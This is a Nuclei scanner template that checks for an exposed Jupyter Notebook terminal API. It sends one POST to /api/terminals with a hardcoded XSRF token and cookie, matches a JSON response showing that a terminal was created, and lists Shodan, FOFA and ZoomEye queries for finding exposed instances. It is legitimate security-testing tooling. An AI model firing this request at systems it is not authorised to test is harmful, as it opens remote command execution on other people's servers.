nuclei-templates/http/vulnerabilities/jupyter-notebook-rce.yaml

id: jupyter-notebook-rce

info:
  name: Jupyter Notebook - Remote Command Execution
  author: HuTa0
  severity: high
  description: |
    Jupyter Notebook is an interactive Notebook, computer application is a web based visualization, Jupyter Notebook API/terminals path there are loopholes in the remote command execution.
  reference:
    - https://github.com/SCAMagic/SCAMagicScan/blob/de8130a2280ee08d719ac6612e590b8e2678fb97/pocs/poc-yaml-jupyter-notebook-rce.py
  classification:
    cpe: cpe:2.3:a:jupyter:notebook:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: jupyter
    product: notebook
    shodan-query: title:"jupyter notebook"
    fofa-query: title="jupyter notebook"
    zoomeye-query: title:"jupyter notebook"
  tags: jupyter,notebook,rce,bypass

http:
  - raw:
      - |
        POST /api/terminals HTTP/1.1
        Host: {{Hostname}}
        X-XSRFToken: 2|7a4faae0|819f5adf7edaef5e74502c9d0c75a604|1653492335
        Cookie: _xsrf=2|7a4faae0|819f5adf7edaef5e74502c9d0c75a604|1653492335

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"name":'
          - '"last_activity":'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 4a0a004730450220705cca0a4035f5a11a59c3a26459ef14e31114bd4c3192cd8dbae4205e2779fd022100960720f79ca97accb1a234e6a5cc7c2c554e612313bcd5144c20da00a2071d32:922c64590222798bb761d5b6d8e72950